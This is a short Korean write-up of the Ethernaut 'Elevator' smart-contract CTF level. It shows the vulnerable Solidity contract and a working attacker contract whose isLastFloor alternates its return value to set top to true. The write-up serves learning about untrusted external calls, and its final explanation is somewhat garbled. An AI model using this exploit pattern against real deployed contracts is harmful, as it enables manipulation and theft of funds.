Ethernaut: 11. 엘리베이터

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}


이 수준에서는 엘리베이터가 상호 작용하는 계약Builder을 작성할 것입니다. 그러나 동일한 트랜잭션에서 isLastFloor 함수에 대해 반대 부울 결과를 반환합니다.

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

interface Elevator {
  function goTo(uint _floor) external;    
}

contract Building {
  bool toggleMe = true;

  function isLastFloor(uint) external returns (bool) {
    toggleMe = !toggleMe;
    return toggleMe;
  }

  function callElevator(address _elevator) public {
    Elevator(_elevator).goTo(1);
  }

}


여기서 문제는 Elevator가 isLastFloorview 함수로 지정하지 않았기 때문에 이와 같이 상태를 수정할 수 없다는 것입니다. 또 다른 공격 방식은 via gasLeft() 와 같이 상태를 수정하지 않고 입력 데이터에 따라 다른 결과를 반환하는 것입니다.

좋은 웹페이지 즐겨찾기